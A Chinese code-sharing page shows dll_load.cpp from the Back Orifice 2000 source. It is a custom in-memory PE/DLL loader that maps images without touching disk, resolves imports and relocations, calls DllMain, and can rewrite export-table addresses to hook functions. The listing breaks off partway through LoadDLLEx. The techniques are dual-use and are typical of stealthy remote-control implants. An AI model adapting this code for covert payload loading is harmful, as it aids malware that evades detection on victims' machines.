开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
dll_load.cpp
资源名称：bo2ksrc.zip　[点击查看]
上传用户：jinandeyu
上传日期：2007-01-05
资源大小：620k
文件大小：29k
源码类别：

远程控制编程

开发平台：

WINDOWS

dll_load.cpp：源码内容
  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  4.     This program is free software; you can redistribute it and/or modify
  5.     it under the terms of the GNU General Public License as published by
  6.     the Free Software Foundation; either version 2 of the License, or
  7.     (at your option) any later version.
  9.     This program is distributed in the hope that it will be useful,
  10.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  11.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  12.     GNU General Public License for more details.
  14.     You should have received a copy of the GNU General Public License
  15.     along with this program; if not, write to the Free Software
  16.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  18. The author of this program may be contacted at dildog@l0pht.com. */
  20. // DLL_LOAD by dildog@l0pht.com
  21. // This is pretty far from a fully-implemented PE Executable
  22. // Loader, but it does the trick for loading DLLs from an image.
  23. // That way, we don't have to hit the disk too much, and it
  24. // allows one to package DLLs as resources (kinda like static linking a DLL... :)
  26. // Differences from Win32 DLL Loader:
  27. // GOOD Differences
  28. //  1. GetDLLProcAddress returns the -REAL- entry point of exported functions
  29. //     instead of some bullshit stub set up by the loader.
  30. //  2. New flags for loading 'REBIND_IMAGE_IMPORTS' allows you to load an
  31. //     image that has already been loaded and rebind its import table.
  32. //  3. New flag 'RWX_PERMISSIONS' allows you to load a DLL with read/write/execute
  33. //     permissions on all sections.
  34. //  4. New flag 'FORCE_LOAD_NEW_IMAGE' allows you to load a single DLL more than
  35. //     once at different base addresses.
  37. // BAD Differences
  38. //  1. Never sets GetLastError code. Just don't fuck up.
  39. //  2. Shared segments don't work in Windows 9x. They also don't work in either 9x or NT if the DLL is forced to be rebased.
  40. //  3. LOAD_WITH_ALTERED_SEARCH_PATH doesn't work.
  41. //  4. Only loads PE executables (well duh)
  42. //  5. 'Thread Attaching' doesn't work (so neither does TLS in most cases)
  43. //     This is because I don't have access to the kernel necessarily (can't touch
  44. //     the thread information tables. Hell, if I could, I wouldn't need this stuff)
  45. //  6. Loading DLLs in different processes with different "dwFlags" via LoadDLLEx
  46. //     may have undesirable effects under Windows NT. Use with caution.
  47. //  7. 'Forwarder' support is kinda bunky. Kinda works tho.
  48. //  8. Resources can not be loaded from DLLs. Sigh. The problem is known
  49. //     and being worked on. May not have a solution.
  51. #include<windows.h>
  52. #include<winnt.h>
  53. #include<dll_load.h>
  54. #include<osversion.h>
  56. #pragma pack(push,1)
  58. typedef struct {
  59. DWORD dwPageRVA;
  60. DWORD dwBlockSize;
  61. } IMAGE_FIXUP_BLOCK, *PIMAGE_FIXUP_BLOCK;
  63. typedef struct {
  64. WORD offset:12;
  65. WORD type:4;
  66. } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
  68. typedef struct __imageparameters {
  69. void *pImageBase;
  70. char svName[MAX_PATH];
  71. DWORD dwFlags;
  72. int nLockCount;
  73. struct __imageparameters *next;
  74. } IMAGE_PARAMETERS;
  76. typedef BOOL (WINAPI *DLLMAIN_T)(HMODULE hinstDLL, DWORD fdwReason, LPVOID lpvReserved); 
  78. #pragma pack(pop)
  81. // Process-global variables
  83. IMAGE_PARAMETERS *g_pImageParamHead;
  84. CRITICAL_SECTION g_DLLCrit;
  86. // Function implementations
  88. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  89. // Initialization Routines                                                                                 //
  90. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  92. void InitializeDLLLoad(void)
  93. {
  94. InitializeCriticalSection(&g_DLLCrit);
  95. g_pImageParamHead=NULL;
  96. }
  98. void KillDLLLoad(void)
  99. {
  100. IMAGE_PARAMETERS *cur,*next;
  101. cur=g_pImageParamHead;
  102. while(cur!=NULL) {
  103. next=cur->next;
  104. free(cur);
  105. cur=next;
  106. }
  108. DeleteCriticalSection(&g_DLLCrit);
  109. }
  112. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  113. // Internal DLL list management                                                                            //
  114. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  116. // returns 0 if just ref count increment, 1 if this is a new addition, -1 on error
  117. static int AddDLLReference(void *pImageBase, char *svName, DWORD dwFlags)
  118. {
  119. EnterCriticalSection(&g_DLLCrit);
  121. // Find DLL in list
  122. IMAGE_PARAMETERS *cur;
  123. for(cur=g_pImageParamHead;cur!=NULL;cur=cur->next) {
  124. if(cur->pImageBase==pImageBase) break;
  125. }
  127. if(cur!=NULL) {
  128. // increment dll count
  129. cur->nLockCount++;
  130. LeaveCriticalSection(&g_DLLCrit);
  131. return 0;
  132. } 
  134. // Add new dll to list
  135. cur=(IMAGE_PARAMETERS *)malloc(sizeof(IMAGE_PARAMETERS));
  136. if(cur==NULL) {
  137. LeaveCriticalSection(&g_DLLCrit);
  138. return -1;
  139. }
  141. cur->pImageBase=pImageBase;
  142. if(svName!=NULL) {
  143. lstrcpyn(cur->svName,svName, MAX_PATH);
  144. } else cur->svName[0]='';
  145. cur->nLockCount=1;
  146. cur->dwFlags=dwFlags;
  147. cur->next=g_pImageParamHead;
  148. g_pImageParamHead=cur;
  150. LeaveCriticalSection(&g_DLLCrit);
  151. return 1;
  152. }
  154. // returns 0 if just a reference count dec, 1 if fully removed from list, -1 on error
  155. static int RemoveDLLReference(void *pImageBase, char *svName, DWORD *pdwFlags)
  156. {
  157. EnterCriticalSection(&g_DLLCrit);
  159. // Find DLL in list
  160. IMAGE_PARAMETERS *cur,*prev;
  161. prev=NULL;
  162. for(cur=g_pImageParamHead;cur!=NULL;cur=cur->next) {
  163. if(cur->pImageBase==pImageBase) break;
  164. prev=cur;
  165. }
  166. if(cur==NULL) {
  167. LeaveCriticalSection(&g_DLLCrit);
  168. return -1;
  169. }
  171. // decrement dll count
  172. cur->nLockCount--;
  173. // look up dll information 
  174. *pdwFlags=cur->dwFlags;
  175. lstrcpyn(svName,cur->svName,MAX_PATH);
  177. // Remove if time to go
  178. if(cur->nLockCount==0) {
  179. if(prev==NULL) {
  180. g_pImageParamHead=g_pImageParamHead->next;
  181. free(cur);
  182. } else {
  183. prev->next=cur->next;
  184. free(cur);
  185. }
  187. LeaveCriticalSection(&g_DLLCrit);
  188. return 1;
  189. }
  191. LeaveCriticalSection(&g_DLLCrit);
  192. return 0;
  193. }
  196. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  197. // GetDLLHandle()                                                                                          //
  198. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  201. // Like GetModuleHandle(), returns null if the module is not loaded, returns a base address otherwise
  202. HMODULE GetDLLHandle(char *svName)
  203. {
  204. if(svName==NULL) return NULL;
  206. EnterCriticalSection(&g_DLLCrit);
  208. // Find DLL in list
  209. IMAGE_PARAMETERS *cur;
  210. for(cur=g_pImageParamHead;cur!=NULL;cur=cur->next) {
  211. if(lstrcmpi(cur->svName,svName)==0) break;
  212. }
  214. if(cur!=NULL) {
  215. LeaveCriticalSection(&g_DLLCrit);
  216. return (HMODULE) cur->pImageBase;
  217. } 
  219. LeaveCriticalSection(&g_DLLCrit);
  220. return NULL;
  221. }
  224. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  225. // GetDLLFileName()                                                                                          //
  226. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  229. // Like GetModuleFileName(), returns 0 on failure
  230. DWORD GetDLLFileName(HMODULE hModule, LPTSTR lpFileName, DWORD nSize)
  231. {
  232. if(hModule==NULL || lpFileName==NULL || nSize==0) return 0;
  234. DWORD dwRet;
  235. if((dwRet=GetModuleFileName(hModule,lpFileName,nSize))!=0) return dwRet;
  237. EnterCriticalSection(&g_DLLCrit);
  239. // Find DLL in list
  240. IMAGE_PARAMETERS *cur;
  241. for(cur=g_pImageParamHead;cur!=NULL;cur=cur->next) {
  242. if(cur->pImageBase==hModule) break;
  243. }
  245. if(cur!=NULL) {
  246. LeaveCriticalSection(&g_DLLCrit);
  247. lstrcpyn(lpFileName,cur->svName,nSize);
  248. return lstrlen(lpFileName);
  249. } 
  251. LeaveCriticalSection(&g_DLLCrit);
  252. return 0;
  253. }
  258. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  259. // GetDLLProcAddress()                                                                                          //
  260. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  264. // Like GetProcAddress(), returns null if the procedure/ordinal is not there, otherwise returns function addr.
  265. FARPROC GetDLLProcAddress(HMODULE hModule, LPCSTR lpProcName)
  266. {
  267. if(hModule==NULL) return NULL;
  269. // Get header
  271. PIMAGE_OPTIONAL_HEADER   poh;
  272.     poh = (PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET (hModule);
  273.     
  274. // Get number of image directories in list
  276. int nDirCount;
  277. nDirCount=poh->NumberOfRvaAndSizes;
  278. if(nDirCount<16) return FALSE;
  280. // - Sift through export table -----------------------------------------------
  282. if(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size==0) return NULL;
  284. // Good, we have an export table. Lets get it.
  286. PIMAGE_EXPORT_DIRECTORY ped;
  287. ped=(IMAGE_EXPORT_DIRECTORY *)RVATOVA(hModule,poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
  289. // Get ordinal of desired function
  291. int nOrdinal;
  293. if(HIWORD((DWORD)lpProcName)==0) {
  294. nOrdinal=(LOWORD((DWORD)lpProcName)) - ped->Base;
  295. } else {
  297. // Go through name table and find appropriate ordinal
  299. int i,count;
  300. DWORD *pdwNamePtr;
  301. WORD *pwOrdinalPtr;
  303. count=ped->NumberOfNames;
  304. pdwNamePtr=(DWORD *)RVATOVA(hModule,ped->AddressOfNames);
  305. pwOrdinalPtr=(WORD *)RVATOVA(hModule,ped->AddressOfNameOrdinals);
  307. for(i=0;i<count;i++) {
  309. // XXX should be a binary search, but, again, fuck it.
  311. char *svName;
  312. svName=(char *)RVATOVA(hModule,*pdwNamePtr);
  314. if(lstrcmp(svName,lpProcName)==0) {
  315. nOrdinal=*pwOrdinalPtr;
  316. break;
  317. }
  319. pdwNamePtr++;
  320. pwOrdinalPtr++;
  321. }
  322. if(i==count) return NULL;
  323. }
  325. // Look up RVA of this ordinal
  326. DWORD *pAddrTable;
  327. DWORD dwRVA;
  328. pAddrTable=(DWORD *)RVATOVA(hModule,ped->AddressOfFunctions);
  330. dwRVA=pAddrTable[nOrdinal];
  333. // Check if it's a forwarder, or a local addr
  334. // XXX  Should probably do this someday. Just don't define forwarders. You're
  335. // XXX  not loading kernel32.dll with this shit anyway.
  337. DWORD dwAddr;
  338. dwAddr=(DWORD) RVATOVA(hModule,dwRVA);
  340. return (FARPROC) dwAddr;
  341. }
  344. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  345. // SetDLLProcAddress()                                                                                          //
  346. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  348. // Modifies an image. Must be loaded with RWX_PERMISSIONS, or have the export
  349. // table writable
  350. FARPROC SetDLLProcAddress(HMODULE hModule, LPCSTR lpProcName, FARPROC fpAddr)
  351. {
  352. if(hModule==NULL) return FALSE;
  354. // Get header
  356. PIMAGE_OPTIONAL_HEADER   poh;
  357.     poh = (PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET (hModule);
  358.     
  359. // Get number of image directories in list
  361. int nDirCount;
  362. nDirCount=poh->NumberOfRvaAndSizes;
  363. if(nDirCount<16) return FALSE;
  365. // - Sift through export table -----------------------------------------------
  367. if(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size==0) return FALSE;
  369. // Good, we have an export table. Lets get it.
  371. PIMAGE_EXPORT_DIRECTORY ped;
  372. ped=(IMAGE_EXPORT_DIRECTORY *)RVATOVA(hModule,poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
  374. // Get ordinal of desired function
  376. int nOrdinal;
  378. if(HIWORD((DWORD)lpProcName)==0) {
  379. nOrdinal=(LOWORD((DWORD)lpProcName)) - ped->Base;
  380. } else {
  382. // Go through name table and find appropriate ordinal
  384. int i,count;
  385. DWORD *pdwNamePtr;
  386. WORD *pwOrdinalPtr;
  388. count=ped->NumberOfNames;
  389. pdwNamePtr=(DWORD *)RVATOVA(hModule,ped->AddressOfNames);
  390. pwOrdinalPtr=(WORD *)RVATOVA(hModule,ped->AddressOfNameOrdinals);
  392. for(i=0;i<count;i++) {
  394. // XXX should be a binary search, but, again, fuck it.
  396. char *svName;
  397. svName=(char *)RVATOVA(hModule,*pdwNamePtr);
  399. if(lstrcmp(svName,lpProcName)==0) {
  400. nOrdinal=*pwOrdinalPtr;
  401. break;
  402. }
  404. pdwNamePtr++;
  405. pwOrdinalPtr++;
  406. }
  407. if(i==count) return FALSE;
  408. }
  410. // Replace with different virtual address
  412. // Look up RVA of this ordinal and replace with RVA of other function
  413. DWORD *pAddrTable=(DWORD *)RVATOVA(hModule,ped->AddressOfFunctions);
  415. DWORD dwOldAddr=(DWORD) RVATOVA(hModule,(pAddrTable[nOrdinal]));
  416. pAddrTable[nOrdinal]=(DWORD) VATORVA(hModule,((DWORD)fpAddr));
  418. return (FARPROC) dwOldAddr;
  419. }
  421. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  422. // ResetDLLProcAddress()                                                                                   //
  423. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  425. BOOL ResetDLLProcAddress(HMODULE hModule, LPCSTR lpProcName)
  426. {
  427. char svName[MAX_PATH+1];
  428. if(GetDLLFileName(hModule,svName,MAX_PATH+1)) {
  429. // Load another copy of the DLL
  430. HMODULE hNewMod=LoadDLLEx(svName,NULL,FORCE_LOAD_NEW_IMAGE);
  431. if(hNewMod==NULL) return FALSE;
  432. DWORD dwAddr=(DWORD)GetDLLProcAddress(hNewMod,lpProcName);
  433. if(dwAddr==NULL) {
  434. FreeDLL(hNewMod);
  435. return FALSE;
  436. }
  438. DWORD dwNewAddr=(DWORD)RVATOVA(hModule,VATORVA(hNewMod,dwAddr));
  440. FreeDLL(hNewMod);
  442. SetDLLProcAddress(hModule,lpProcName,(FARPROC)dwNewAddr);
  444. return TRUE;
  445. }
  447. return FALSE;
  448. }
  451.   
  452. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  453. // Internal DLL Loader code                                                                                //
  454. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  457. static BOOL RunDLLMain(void *pImageBase, DWORD dwImageSize, BOOL bDetach)
  458. {
  459. // Get entry point from header
  460. PIMAGE_OPTIONAL_HEADER   poh;
  461. PIMAGE_FILE_HEADER pfh;
  462. DLLMAIN_T pDllMain;
  464.     pfh = (PIMAGE_FILE_HEADER)PEFHDROFFSET(pImageBase);
  465. if((pfh->Characteristics & IMAGE_FILE_DLL)==0) return TRUE;
  467. poh = (PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET (pImageBase);
  468. pDllMain=(DLLMAIN_T) RVATOVA(pImageBase, poh->AddressOfEntryPoint);
  470. // Call dllmain the right way
  472. BOOL bRet;
  473. if(bDetach) {
  474. bRet=pDllMain((HMODULE) pImageBase, DLL_PROCESS_DETACH, NULL);
  475. } else {
  476. bRet=pDllMain((HMODULE) pImageBase, DLL_PROCESS_ATTACH, NULL);
  477. }
  479. return bRet;
  480. }
  482. BOOL PrepareDLLImage(void *pMemoryImage, DWORD dwImageSize, BOOL bResolve, BOOL bRebind)
  483. {
  484. // Get headers
  485. PIMAGE_OPTIONAL_HEADER   poh;
  486.     PIMAGE_SECTION_HEADER    psh;
  487.     poh = (PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET (pMemoryImage);
  488.     psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET (pMemoryImage);
  490. // Get number of image directories in list
  491. int nDirCount;
  492. nDirCount=poh->NumberOfRvaAndSizes;
  493. if(nDirCount<16) return FALSE;
  495. // - Process import table -----------------------------------------------
  497. if(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size!=0) {
  498. PIMAGE_IMPORT_DESCRIPTOR pid;
  499. pid=(IMAGE_IMPORT_DESCRIPTOR *)RVATOVA(pMemoryImage,poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
  501. // For all imported DLLs
  502. while(pid->OriginalFirstThunk!=0) {
  503. char *svDllName;
  504. svDllName=(char *) RVATOVA(pMemoryImage,pid->Name);
  506. // Map library into address space (could also use LoadDLL())
  507. HMODULE hDll;
  508. hDll=GetModuleHandle(svDllName);
  509. if(hDll==NULL) hDll=LoadLibrary(svDllName);
  511. if(hDll==NULL) return FALSE;
  513. // Bind if not bound already
  514. if(pid->TimeDateStamp==0 || bRebind) {
  515. // Store DLL infoz
  517. pid->ForwarderChain=(DWORD)hDll;
  518. pid->TimeDateStamp=0xCDC31337; // This is bullshit cuz I don't want to call libc.
  520. // Fill in Import Address Table
  522. PIMAGE_THUNK_DATA ptd_in,ptd_out;
  523. ptd_in=(PIMAGE_THUNK_DATA) RVATOVA(pMemoryImage, pid->OriginalFirstThunk);
  524. ptd_out=(PIMAGE_THUNK_DATA) RVATOVA(pMemoryImage, pid->FirstThunk);
  526. while(ptd_in->u1.Function!=NULL) {
  527. FARPROC func;
  529. // Determine if ordinal or name pointer
  530. if(ptd_in->u1.Ordinal & 0x80000000) {
  531. // Ordinal
  532. func=GetProcAddress(hDll,MAKEINTRESOURCE(ptd_in->u1.Ordinal));
  533. } else {
  534. // Function name
  535. PIMAGE_IMPORT_BY_NAME pibn;
  536. pibn=(PIMAGE_IMPORT_BY_NAME) RVATOVA(pMemoryImage,ptd_in->u1.AddressOfData);
  537. func=GetProcAddress(hDll,(char *)pibn->Name);
  538. }
  540. if(func==NULL) return FALSE;
  542. // Write address to appropriate location
  543. ptd_out->u1.Function = (PDWORD) func;
  545. ptd_in++;
  546. ptd_out++;
  547. }
  548. }
  550. pid++;
  551. }
  552. }
  554. // - Process relocation tables if necessary ----------------------------------
  556. // Calculate fixup delta
  557. DWORD delta;
  558. delta=(DWORD)pMemoryImage - (DWORD)poh->ImageBase;
  560. if((delta!=0) && (poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size!=0)) {
  561. PIMAGE_FIXUP_BLOCK pfb;
  562. pfb=(PIMAGE_FIXUP_BLOCK)RVATOVA(pMemoryImage,poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
  565. // For each fixup block
  566. while(pfb->dwPageRVA!=0) {
  567. PIMAGE_FIXUP_ENTRY pfe;
  568. int i,count;
  570. count=(pfb->dwBlockSize-sizeof(IMAGE_FIXUP_BLOCK))/sizeof(IMAGE_FIXUP_ENTRY);
  571. pfe=(PIMAGE_FIXUP_ENTRY)((char *)pfb + sizeof(IMAGE_FIXUP_BLOCK));
  573. // For each fixup entry
  574. for(i=0;i<count;i++) {
  575. void *fixaddr;
  576. int adjust;
  578. fixaddr=RVATOVA(pMemoryImage,pfb->dwPageRVA + pfe->offset);
  579. switch(pfe->type) {
  580. case IMAGE_REL_BASED_ABSOLUTE:
  581. break;
  582. case IMAGE_REL_BASED_HIGH:
  583. *((WORD *)fixaddr) += HIWORD(delta);
  584. break;
  585. case IMAGE_REL_BASED_LOW:
  586. *((WORD *)fixaddr) += LOWORD(delta);
  587. break;
  588. case IMAGE_REL_BASED_HIGHLOW:
  589. *((DWORD *)fixaddr) += delta;
  590. break;
  591. case IMAGE_REL_BASED_HIGHADJ: // This one's really fucked up.
  592. adjust=((*((WORD *)fixaddr)) << 16) | (*(WORD *)(pfe+1));
  593. adjust += delta;
  594. adjust += 0x00008000;
  595. *((WORD *)fixaddr) = HIWORD(adjust);
  596. pfe++;
  597. break;
  598. default:
  599. return FALSE;
  600. }
  602. pfe++;
  603. }
  605. pfb=(PIMAGE_FIXUP_BLOCK)((char *)pfb + pfb->dwBlockSize);
  606. }
  607. }
  611. return TRUE;
  612. }
  614. static BOOL ProtectDLLImage(void *pMemoryImage, BOOL bRWX)
  615. {
  616. // Get Number of Sections
  617. PIMAGE_FILE_HEADER pfh;
  618. int nSectionCount;
  620. pfh=(PIMAGE_FILE_HEADER) PEFHDROFFSET(pMemoryImage);
  621. nSectionCount=pfh->NumberOfSections;
  623. // Get PE Header Length + Section Header Length
  624. PIMAGE_OPTIONAL_HEADER poh;
  625. DWORD hdrlen;
  627. poh=(PIMAGE_OPTIONAL_HEADER) OPTHDROFFSET(pMemoryImage);
  628. hdrlen=poh->SizeOfHeaders;
  630. // Protect sections one by one
  631. int i;
  632. PIMAGE_SECTION_HEADER psh;
  634. psh=(PIMAGE_SECTION_HEADER) SECHDROFFSET(pMemoryImage);
  635. for(i=0;i<nSectionCount;i++) {
  636. void *secMemAddr;
  637. int secLen;
  639. // Get Section Address
  640. secMemAddr  = (char *)RVATOVA(pMemoryImage, psh->VirtualAddress);
  641. secLen = psh->SizeOfRawData;
  643. // Parse Characteristics and protect memory appropriately
  644. DWORD newProtect=0,oldProtect;
  645. BOOL bWrite, bRead, bExec, bShared;
  647. bWrite  = (psh->Characteristics & IMAGE_SCN_MEM_WRITE)?TRUE:FALSE;
  648. bRead   = (psh->Characteristics & IMAGE_SCN_MEM_READ)?TRUE:FALSE;
  649. bExec   = (psh->Characteristics & IMAGE_SCN_MEM_EXECUTE)?TRUE:FALSE;
  650. bShared = (psh->Characteristics & IMAGE_SCN_MEM_SHARED)?TRUE:FALSE;
  652. if(bWrite && bRead && bExec && bShared) newProtect=PAGE_EXECUTE_READWRITE;
  653. else if(bWrite && bRead && bExec) newProtect=PAGE_EXECUTE_WRITECOPY;
  654. else if(bRead && bExec) newProtect=PAGE_EXECUTE_READ;
  655. else if(bExec) newProtect=PAGE_EXECUTE;
  656. else if(bWrite && bRead && bShared) newProtect=PAGE_READWRITE; 
  657. else if(bWrite && bRead) newProtect=PAGE_WRITECOPY;
  658. else if(bRead) newProtect=PAGE_READONLY;
  660. if(bRWX) newProtect=PAGE_WRITECOPY;
  662. if(psh->Characteristics & IMAGE_SCN_MEM_NOT_CACHED) newProtect |= PAGE_NOCACHE;
  664. if(newProtect==0) return FALSE;
  666. VirtualProtect(secMemAddr,secLen,newProtect,&oldProtect);
  668. psh++;
  669. }
  671. return TRUE;
  672. }
  675. BOOL MapDLLFromImage(void *pDLLFileImage, void *pMemoryImage)
  676. {
  677. // Get Number of Sections
  678. PIMAGE_FILE_HEADER pfh;
  679. int nSectionCount;
  681. pfh=(PIMAGE_FILE_HEADER) PEFHDROFFSET(pDLLFileImage);
  682. nSectionCount=pfh->NumberOfSections;
  684. // Get PE Header Length + Section Header Length
  685. PIMAGE_OPTIONAL_HEADER poh;
  686. DWORD hdrlen;
  688. poh=(PIMAGE_OPTIONAL_HEADER) OPTHDROFFSET(pDLLFileImage);
  689. hdrlen=poh->SizeOfHeaders;
  691. // Copy PE Header + Section Headers
  692. memcpy(pMemoryImage,pDLLFileImage,hdrlen);
  694. // Copy Sections one by one
  695. int i;
  696. PIMAGE_SECTION_HEADER psh;
  698. psh=(PIMAGE_SECTION_HEADER) SECHDROFFSET(pDLLFileImage);
  699. for(i=0;i<nSectionCount;i++) {
  700. void *secMemAddr, *secFileAddr;
  701. int secLen;
  703. // Copy Section data
  704. secMemAddr  = (char *)pMemoryImage + psh->VirtualAddress;
  705. secFileAddr = (char *)pDLLFileImage + psh->PointerToRawData;
  706. secLen = psh->SizeOfRawData;
  708. memcpy(secMemAddr,secFileAddr,secLen);
  710. psh++;
  711. }
  715. return TRUE;
  716. }
  718. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  719. // LoadDLLFromImage()                                                                                      //
  720. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  722. HMODULE LoadDLLFromImage(void *pDLLFileImage, char *svMappingName, DWORD dwFlags)
  723. {
  724. // Examine DOS Header
  725. PIMAGE_DOS_HEADER doshead;
  726. doshead=(PIMAGE_DOS_HEADER) pDLLFileImage;
  727. if(doshead->e_magic!=IMAGE_DOS_SIGNATURE) return NULL;
  729. // Ensure our input is of good length
  730. if(svMappingName!=NULL) {
  731. if(lstrlen(svMappingName) >= MAX_PATH) return NULL;
  732. }
  734. // Determine File Format
  735. if(*(DWORD *)NTSIGNATURE(pDLLFileImage) != IMAGE_NT_SIGNATURE) return NULL;
  738. // Get PE Header
  739. PIMAGE_FILE_HEADER pfh;
  740. pfh=(PIMAGE_FILE_HEADER) PEFHDROFFSET(pDLLFileImage);
  743. // Ensure proper machine type
  744. //if(pfh->Machine!=IMAGE_FILE_MACHINE_I386) return NULL;
  745. // XXX Verify Characteristics
  746. // XXX I don't bother to do this yet.
  749. // Get Section Count
  750. int nSectionCount;
  751. nSectionCount=pfh->NumberOfSections;
  754. // Get PE Optional Header
  755. PIMAGE_OPTIONAL_HEADER poh;
  756. poh=(PIMAGE_OPTIONAL_HEADER) OPTHDROFFSET(pDLLFileImage);
  759. // Ensure we are an executable image, not a rom image
  760. if(poh->Magic!=0x010B) return NULL;
  763. // Get preferred image base and image length
  764. void *pPreferredImageBase;
  765. DWORD dwImageSize;
  767. pPreferredImageBase=(void *)poh->ImageBase;
  768. dwImageSize=poh->SizeOfImage;
  770. // Get base address of virtual image
  771. void *pImageBase;
  772. HANDLE hmapping=NULL;
  774. pImageBase=GetDLLHandle(svMappingName);
  775. if(pImageBase==NULL) {
  776. BOOL bCreated=FALSE;
  777. BOOL bRebased=FALSE;
  778. // If not mapped into this process, then we should map it now
  780. if(g_bIsWinNT) {
  781. // === Windows NT DLL Loading (supports shared sections) ===
  782. if(svMappingName!=NULL) {
  783. hmapping=OpenFileMapping(FILE_MAP_WRITE,TRUE,svMappingName);
  784. bCreated=FALSE;
  785. }
  786. if(hmapping==NULL) {
  787. hmapping=CreateFileMapping(INVALID_HANDLE_VALUE,NULL,PAGE_READWRITE,0,dwImageSize+SIZE_OF_PARAMETER_BLOCK,svMappingName);
  788. if(hmapping==NULL) return NULL;
  789. bCreated=TRUE;
  790. }
  792. // Try to load file mapping view at preferred image base (not gonna happen in Win9x..sigh)
  794. pImageBase=MapViewOfFileEx(hmapping,FILE_MAP_WRITE,0,0,0,pPreferredImageBase);
  795. if(pImageBase==NULL) {
  796. pImageBase=MapViewOfFileEx(hmapping,FILE_MAP_WRITE,0,0,0,NULL);
  797. }
  798. CloseHandle(hmapping);
  799. if(pImageBase==NULL) return NULL;
  800. } else {
  801. // === Windows 9x DLL Loading (does not support shared sections) ===
  802. pImageBase=VirtualAlloc(pPreferredImageBase,dwImageSize,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
  803. if(pImageBase==NULL) {
  804. pImageBase=VirtualAlloc(NULL,dwImageSize,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
  805. if(pImageBase==NULL) return NULL;
  806. }
  808. bCreated=TRUE;
  809. }
  811. // Now map DLL from file image into appropriate memory image (if just created)
  812. // Also remap if DLL is being rebased as well (gotta fix relocations)
  814. if(bCreated || (pImageBase!=pPreferredImageBase)) {
  815. if(!MapDLLFromImage(pDLLFileImage,pImageBase)) {
  816. if(g_bIsWinNT) UnmapViewOfFile(pImageBase);
  817. else VirtualFree(pImageBase,0,MEM_RELEASE);
  818. return NULL;
  819. }
  820. }
  822. // Prepare DLL image (handle relocations/import/export/etc)
  824. if(!(dwFlags & LOAD_LIBRARY_AS_DATAFILE)) {
  825. if(!PrepareDLLImage(pImageBase, dwImageSize, (dwFlags & DONT_RESOLVE_DLL_REFERENCES)?FALSE:TRUE,(dwFlags & REBIND_IMAGE_IMPORTS)?TRUE:FALSE)) {
  826. if(g_bIsWinNT) UnmapViewOfFile(pImageBase);
  827. else VirtualFree(pImageBase,0,MEM_RELEASE);
  828. return NULL;
  829. }
  831. // Resolve DLL references
  833. if(!(dwFlags & DONT_RESOLVE_DLL_REFERENCES)) {
  834. BOOL bRet;
  835. bRet=RunDLLMain(pImageBase,dwImageSize,DLL_ATTACH);
  836. if(!bRet) {
  837. if(g_bIsWinNT) UnmapViewOfFile(pImageBase);
  838. else VirtualFree(pImageBase,0,MEM_RELEASE);
  839. return NULL;
  840. }
  841. }
  844. // Apply appropriate protections
  846. if(!ProtectDLLImage(pImageBase, (dwFlags & RWX_PERMISSIONS)?TRUE:FALSE) ){
  847. if(g_bIsWinNT) UnmapViewOfFile(pImageBase);
  848. else VirtualFree(pImageBase,0,MEM_RELEASE);
  849. return NULL;
  850. }
  851. }
  852. }
  855. // Add to DLL table/increase reference count
  857. int dllaction;
  858. dllaction=AddDLLReference(pImageBase,svMappingName,dwFlags);
  859. if(dllaction==-1) {
  860. if(hmapping!=NULL) {
  861. if(g_bIsWinNT) UnmapViewOfFile(pImageBase);
  862. else VirtualFree(pImageBase,0,MEM_RELEASE);
  863. }
  864. return NULL;
  865. }
  867. return (HMODULE) pImageBase;
  868. }
  870. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  871. // LoadDLLEx()                                                                                             //
  872. /////////////////////////////////////////////////////////////////////////////////////////////////////////////
  874. HMODULE LoadDLLEx(LPCTSTR lpLibFileName, HANDLE hFile, DWORD dwFlags)
  875. {
  876. char svPath[MAX_PATH+1];
  877. char *svFilePart;
  878. int nPathLen;
  880. // Find DLL File
  881. if(dwFlags & LOAD_WITH_ALTERED_SEARCH_PATH) {
  882. return NULL;
  883. } else {
  884. nPathLen=SearchPath(NULL,lpLibFileName,".dll",MAX_PATH,svPath,&svFilePart);
  885. if(nPathLen==0) return NULL;
  886. }
  888. // Open File
